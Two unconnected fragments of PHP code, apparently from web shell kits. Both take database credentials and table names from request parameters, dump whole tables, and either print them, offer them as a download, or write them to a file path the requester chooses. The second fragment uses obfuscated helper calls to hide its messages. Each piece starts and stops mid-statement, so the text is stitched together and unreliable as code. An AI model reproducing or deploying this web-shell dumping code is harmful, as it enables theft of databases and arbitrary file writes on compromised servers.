$fp = @fopen($_POST['dif_name'], "w"); } $sql = new my_sql(); $sql->db = $_POST['db']; $sql->host = $_POST['db_server']; $sql->port = $_POST['db_port']; $sql->user = $_POST['mysql_l']; $sql->pass = $_POST['mysql_p']; $sql->base = $_POST['mysql_db']; if (!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; } else { if (!$sql->select_db()) { echo "[-] ERROR! Can't select database"; } else { if (!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; } else { if (empty($_POST['dif'])) { foreach ($sql->dump as $v) { echo $v . "\r\n"; } } else { if ($fp) { foreach ($sql->dump as $v) { @fputs($fp, $v . "\r\n"); } } else { echo "[-] ERROR! Can't write in dump file"; } }
$fp = @fopen($q_sql_filename, "a"); } $q_sql_filename = @str_replace("_db_", "_" . $q_sql_db . "_", $q_sql_filename); $sql = new my_sql(); $sql->db = $q_sql_engine; $sql->host = $q_sql_server; $sql->port = $q_sql_port; $sql->user = $q_sql_user; $sql->pass = $q_sql_pass; $sql->base = $q_sql_db; $q_sql_dumped = ""; if (!$sql->connect()) { echo z2b(z9s("419")); } elseif (!$sql->select_db()) { echo z2b(z9s("447")); } elseif (!$sql->dump($q_sql_table)) { echo z2b(z9s("458")); } else { if (@isset($q_sql_download) && $q_sql_download == "1") { @ob_clean(); @header("Content-type: application/octet-stream"); @header("Content-disposition: attachment; filename=\"" . @basename($q_sql_filename) . "\";"); foreach ($sql->dump as $v) { echo $v . "\r\n"; } exit; } if (!@isset($q_sql_save2file) || $q_sql_save2file != "1") { echo z9m('2') . z6g() . z6w() . z5w('', '1'); foreach ($sql->dump as $v) { echo @htmlspecialchars($v) . "\r\n";